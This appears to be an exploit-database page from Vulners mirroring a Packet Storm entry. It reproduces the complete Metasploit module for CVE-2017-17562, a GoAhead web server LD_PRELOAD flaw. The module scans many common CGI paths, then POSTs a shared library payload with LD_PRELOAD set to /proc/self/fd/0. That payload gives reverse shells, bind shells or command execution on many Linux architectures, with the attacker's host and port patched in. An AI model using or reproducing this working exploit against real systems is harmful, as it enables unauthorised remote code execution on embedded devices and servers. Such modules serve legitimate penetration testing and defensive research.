Lucene search
K

GoAhead Web Server LD_PRELOAD Arbitrary Module Load

🗓️ 24 Jan 2018 00:00:00Reported by H D MooreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 100 Views

This module triggers an arbitrary shared library load vulnerability in GoAhead web server versions between 2.5 and that have the CGI module enabled. It allows for automatic execution of reverse shell, bind shell, and command payloads on various Linux platforms

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2017-17562
16 Oct 201916:28
githubexploit
GithubExploit
Exploit for CVE-2017-17562
14 Nov 202114:30
githubexploit
GithubExploit
Exploit for CVE-2017-17562
5 Feb 201605:24
githubexploit
GithubExploit
Exploit for CVE-2017-17562
14 Nov 202114:30
githubexploit
GithubExploit
Exploit for CVE-2017-17562
5 Feb 201605:24
githubexploit
0day.today
GoAhead httpd 2.5 < 3.6.5 - LD_PRELOAD Remote Code Execution Exploit
18 Dec 201700:00
zdt
0day.today
GoAhead Web Server 2.5 < 3.6.5 - HTTPd LD_PRELOAD Arbitrary Module Load Exploit
25 Jan 201800:00
zdt
ATTACKERKB
CVE-2017-17562
12 Dec 201700:00
attackerkb
Circl
CVE-2017-17562
18 Dec 201700:00
circl
CISA KEV Catalog
Embedthis GoAhead Remote Code Execution Vulnerability
10 Dec 202100:00
cisa_kev
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load',  
'Description' => %q{  
This module triggers an arbitrary shared library load vulnerability  
in GoAhead web server versions between 2.5 and that have the CGI module  
enabled.  
},  
'Author' =>  
[  
'Daniel Hodson <daniel[at]elttam.com.au>', # Elttam Vulnerability Discovery & Python Exploit  
'h00die', # Metasploit Module  
'hdm', # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2017-17562' ],  
[ 'URL', 'https://www.elttam.com.au/blog/goahead/' ]  
],  
'Payload' =>  
{  
'Space' => 5000,  
'DisableNops' => true  
},  
'Platform' => 'linux',  
'Targets' =>  
[  
  
[ 'Automatic (Reverse Shell)',  
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true,  
'Payload' => {  
'Compat' => {  
'PayloadType' => 'cmd_reverse_stub',  
'ConnectionType' => 'reverse',  
}  
}  
}  
],  
  
[ 'Automatic (Bind Shell)',  
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true,  
'Payload' => {  
'Compat' => {  
'PayloadType' => 'cmd_bind_stub',  
'ConnectionType' => 'bind'  
}  
}  
}  
],  
  
[ 'Automatic (Command)',  
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }  
],  
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],  
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],  
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],  
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],  
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],  
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],  
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],  
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],  
  
# PowerPC stubs are currently over the 16384 maximum POST size  
# [ 'Linux PPC', { 'Arch' => ARCH_PPC } ],  
# [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],  
# [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],  
  
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],  
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],  
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],  
],  
'DefaultOptions' =>  
{  
'SHELL' => '/bin/sh',  
},  
'Privileged' => false,  
'DisclosureDate' => 'Dec 18 2017', # June 9th, technically, via github commit.  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server'])  
])  
end  
  
# Setup our mapping of Metasploit architectures to gcc architectures  
def setup  
super  
@@payload_arch_mappings = {  
ARCH_X86 => [ 'x86' ],  
ARCH_X64 => [ 'x86_64' ],  
ARCH_MIPS => [ 'mips' ],  
ARCH_MIPSLE => [ 'mipsel' ],  
ARCH_MIPSBE => [ 'mips' ],  
ARCH_MIPS64 => [ 'mips64' ],  
ARCH_MIPS64LE => [ 'mips64el' ],  
  
# PowerPC stubs are currently over the 16384 maximum POST size  
# ARCH_PPC => [ 'powerpc' ],  
# ARCH_PPC64 => [ 'powerpc64' ],  
# ARCH_PPC64LE => [ 'powerpc64le' ],  
  
ARCH_SPARC => [ 'sparc' ],  
ARCH_SPARC64 => [ 'sparc64' ],  
ARCH_ARMLE => [ 'armel', 'armhf' ],  
ARCH_AARCH64 => [ 'aarch64' ],  
ARCH_ZARCH => [ 's390x' ],  
}  
  
# Architectures we don't offically support but can shell anyways with interact  
@@payload_arch_bonus = %W{  
mips64el sparc64 s390x  
}  
  
# General platforms (OS + C library)  
@@payload_platforms = %W{  
linux-glibc  
}  
end  
  
# Use fancy payload wrappers to make exploitation a joyously lazy exercise  
def cycle_possible_payloads  
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562")  
template_list = []  
template_type = nil  
template_arch = nil  
  
# Handle the generic command types first  
if target.arch.include?(ARCH_CMD)  
  
# Default to a system() template  
template_type = 'system'  
  
# Handle reverse_tcp() templates  
if target['ReverseStub']  
template_type = 'reverse'  
end  
  
# Handle reverse_tcp() templates  
if target['BindStub']  
template_type = 'bind'  
end  
  
all_architectures = @@payload_arch_mappings.values.flatten.uniq  
  
# Prioritize the most common architectures first  
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|  
template_list << all_architectures.delete(t_arch)  
end  
  
# Queue up the rest for later  
all_architectures.each do |t_arch|  
template_list << t_arch  
end  
  
# Handle the specific architecture targets next  
else  
template_type = 'shellcode'  
target.arch.each do |t_name|  
@@payload_arch_mappings[t_name].each do |t_arch|  
template_list << t_arch  
end  
end  
end  
  
# Remove any duplicates that may have snuck in  
template_list.uniq!  
  
# Cycle through each top-level platform we know about  
@@payload_platforms.each do |t_plat|  
  
# Cycle through each template and yield  
template_list.each do |t_arch|  
  
  
wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")  
unless ::File.exist?(wrapper_path)  
raise RuntimeError.new("Missing executable template at #{wrapper_path}")  
end  
  
data = ''  
::File.open(wrapper_path, "rb") do |fd|  
data = Rex::Text.ungzip(fd.read)  
end  
  
pidx = data.index('PAYLOAD')  
if pidx  
data[pidx, payload.encoded.length] = payload.encoded  
end  
  
if %W{reverse bind}.include?(template_type)  
pidx = data.index("55555")  
if pidx  
data[pidx, 5] = datastore['LPORT'].to_s.ljust(5)  
end  
end  
  
if 'reverse' == template_type  
pidx = data.index("000.000.000.000")  
if pidx  
data[pidx, 15] = datastore['LHOST'].to_s.ljust(15)  
end  
end  
  
vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...")  
yield(data)  
  
# Introduce a small delay for the payload to stage  
Rex.sleep(0.50)  
  
# Short-circuit once we have a session  
return if session_created?  
end  
end  
end  
  
# Start the shell train  
def exploit  
# Find a valid CGI target  
target_uri = find_target_cgi  
return unless target_uri  
  
# Create wrappers for each potential architecture  
cycle_possible_payloads do |wrapped_payload|  
  
# Trigger the vulnerability and run the payload  
trigger_payload(target_uri, wrapped_payload)  
return if session_created?  
end  
end  
  
# Determine whether the target is exploitable  
def check  
# Find a valid CGI target  
target_uri = find_target_cgi  
unless target_uri  
return Exploit::CheckCode::Unknown  
end  
return Exploit::CheckCode::Vulnerable  
end  
  
# Upload and LD_PRELOAD execute the shared library payload  
def trigger_payload(target_uri, wrapped_payload)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri),  
'vars_get' => {  
'LD_PRELOAD' => '/proc/self/fd/0'  
},  
'data' => wrapped_payload  
})  
  
nil  
end  
  
# Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets  
def find_target_cgi  
  
target_uris = []  
common_dirs = %W^  
/  
/cgi-bin/  
/cgi/  
^  
common_exts = ["", ".cgi"]  
common_cgis = %W^  
admin  
apply  
non-CA-rev  
checkCookie  
check_user  
chn/liveView  
cht/liveView  
cnswebserver  
config  
configure/set_link_neg  
configure/swports_adjust  
eng/liveView  
firmware  
getCheckCode  
get_status  
getmac  
getparam  
guest/Login  
home  
htmlmgr  
index  
index/login  
jscript  
kvm  
liveView  
login  
login.asp  
login/login  
login/login-page  
login_mgr  
luci  
main  
main-cgi  
manage/login  
menu  
mlogin  
netbinary  
nobody/Captcha  
nobody/VerifyCode  
normal_userLogin  
otgw  
page  
rulectl  
service  
set_new_config  
sl_webviewer  
ssi  
status  
sysconf  
systemutil  
t/out  
top  
unauth  
upload  
variable  
wanstatu  
webcm  
webmain  
webproc  
webscr  
webviewLogin  
webviewLogin_m64  
webviewer  
welcome  
cgitest  
^  
  
if datastore['TARGET_URI'].to_s.length > 0  
target_uris << datastore['TARGET_URI']  
end  
  
common_dirs.each do |cgi_dir|  
common_cgis.each do |cgi_path|  
common_exts.each do |cgi_ext|  
target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}"  
end  
end  
end  
  
print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...")  
  
target_uris.each do |uri|  
if is_cgi_exploitable?(uri)  
print_good("Exploitable CGI located at #{uri}")  
return uri  
end  
end  
  
print_error("No valid CGI endpoints identified")  
return  
end  
  
# Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable  
def is_cgi_exploitable?(uri)  
res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }})  
  
if res  
vprint_status("Request for #{uri} returned #{res.code}: #{res.message}")  
else  
vprint_status("Request for #{uri} did not return a response")  
end  
  
!!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))  
end  
  
# This sometimes determines if the CGI module is enabled, but doesn't seem  
# to return the error to the client in newer versions. Unused for now.  
def is_cgi_enabled?  
return true  
res = send_request_cgi({'uri' => "/cgi-bin"})  
!!(res && res.body && res.body.to_s.include?("Missing CGI name"))  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation